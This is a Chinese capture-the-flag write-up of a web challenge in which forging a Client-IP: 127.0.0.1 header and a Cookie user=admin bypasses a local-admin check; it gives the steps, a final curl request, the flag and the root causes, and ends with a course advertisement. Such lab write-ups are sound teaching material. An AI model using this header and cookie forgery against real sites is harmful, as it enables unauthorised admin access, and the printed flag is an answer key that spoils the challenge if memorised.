题目地址：
9e6K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5K6j5X3u0T1j5U0u0S2i4K6u0V1x3K6M7I4z5q4)9J5k6o6b7I4y4o6m8Q4x3X3b7^5x3h3g2U0i4K6u0V1j5e0q4X3z5e0u0X3x3K6l9&6x3$3u0T1i4K6u0W2L8X3!0V1k6g2)9J5k6i4m8W2k6r3W2&6i4K6u0W2j5$3!0E0i4K6y4m8z5o6q4Q4x3V1j5`.

题目类型：
HTTP Header 伪造 + Cookie 越权

漏洞点：
服务端通过 Client-IP 请求头判断是否为本地管理员，同时通过 Cookie 中的 user 字段判断用户身份。

初始访问：
直接访问页面时，提示只有本地管理员权限才能访问。

测试过程：
1. 访问首页，发现提示：
   本页面只有本地管理员权限才能访问

2. 尝试伪造本地来源 IP：
   Client-IP: 127.0.0.1

3. 页面提示变化为：
   你不是管理员，只有本地管理员权限才能访问此页面

4. 说明服务端接受 Client-IP 请求头作为本地 IP 判断依据。

5. 继续伪造管理员 Cookie：
   Cookie: user=admin

6. 同时携带：
   Client-IP: 127.0.0.1
   Cookie: user=admin

7. 成功获得 flag。

最终请求：
curl -H "Client-IP: 127.0.0.1" \
     -H "Cookie: user=admin" \
     "fcbK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8U0p5K6j5X3u0T1j5U0u0S2i4K6u0V1x3K6M7I4z5q4)9J5k6o6b7I4y4o6m8Q4x3X3b7^5x3h3g2U0i4K6u0V1j5e0q4X3z5e0u0X3x3K6l9&6x3$3u0T1i4K6u0W2L8X3!0V1k6g2)9J5k6i4m8W2k6r3W2&6i4K6u0W2j5$3!0E0i4K6y4m8z5o6q4Q4x3V1j5`."

Flag：
flag{tdQvKTtPj7v1lbhkDPesHb}

漏洞原因：
1. 服务端信任了用户可控的 Client-IP 请求头。
2. 服务端仅通过明文 Cookie user=admin 判断管理员身份。
3. 缺少真实会话校验和服务端权限控制。

冰与火的战歌：Windows内核攻防实战高级班！从零到实战，融合AI与Windows内核攻防全技术栈，打造具备自动化能力的内核开发高手。